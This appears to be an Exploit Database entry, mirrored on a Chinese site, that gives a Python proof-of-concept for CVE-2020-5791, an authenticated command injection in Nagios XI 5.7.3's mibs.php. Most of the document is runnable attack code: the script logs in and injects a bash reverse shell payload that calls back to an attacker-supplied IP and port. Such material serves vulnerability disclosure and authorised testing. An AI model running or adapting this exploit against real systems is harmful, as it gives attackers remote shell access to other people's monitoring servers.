Nagios XI 5.7.3 – ‘mibs.php’ Remote Command Injection (Authenticated)

• Exploit Database
• 17 阅读

• 作者： Matthew Aberegg
  日期： 2020-10-28
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48959/

• # Exploit Title: Nagios XI 5.7.3 - 'mibs.php' Remote Command Injection (Authenticated)
  # Date: 10-27-2020
  # Vulnerability Discovery: Chris Lyne
  # Vulnerability Details: https://www.tenable.com/security/research/tra-2020-58
  # Exploit Author: Matthew Aberegg
  # Vendor Homepage: https://www.nagios.com/products/nagios-xi/
  # Vendor Changelog: https://www.nagios.com/downloads/nagios-xi/change-log/
  # Software Link: https://www.nagios.com/downloads/nagios-xi/
  # Version: Nagios XI 5.7.3
  # Tested on: Ubuntu 20.04
  # CVE: CVE-2020-5791
  
  #!/usr/bin/python3
  
  import re
  import requests
  import sys
  import urllib.parse
  from requests.packages.urllib3.exceptions import InsecureRequestWarning
  requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  # Credit: Chris Lyne for vulnerability discovery and original PoC
  
  if len(sys.argv) != 6:
  print("[~] Usage : ./exploit.py https://NagiosXI_Host/, Username, Password, Attacker IP, Attacker Port")
  exit()
  
  host = sys.argv[1]
  username = sys.argv[2]
  password = sys.argv[3]
  attacker_ip = sys.argv[4]
  attacker_port = sys.argv[5]
  
  login_url = host + "/nagiosxi/login.php"
  payload = ";/bin/bash -c 'bash -i >& /dev/tcp/{0}/{1} 0>&1';".format(attacker_ip, attacker_port)
  encoded_payload = urllib.parse.quote_plus(payload)
  
  
  def exploit():
  s = requests.Session()
  login_page = s.get(login_url)
  nsp = re.findall('var nsp_str = "(.*?)"', login_page.text)
  
  res = s.post(
  login_url,
  data={
  'nsp': nsp,
  'page': 'auth',
  'debug': '',
  'pageopt': 'login',
  'redirect': '/nagiosxi/index.php?',
  'username': username,
  'password': password,
  'loginButton': ''
  },
  verify=False,
  allow_redirects=True
  )
  
  injection_url = host + "/nagiosxi/admin/mibs.php?mode=undo-processing&type=1&file={0}".format(encoded_payload)
  res = s.get(injection_url)
  
  if res.status_code != 200:
  print("[~] Failed to connect")
  
  if __name__ == '__main__':
  exploit()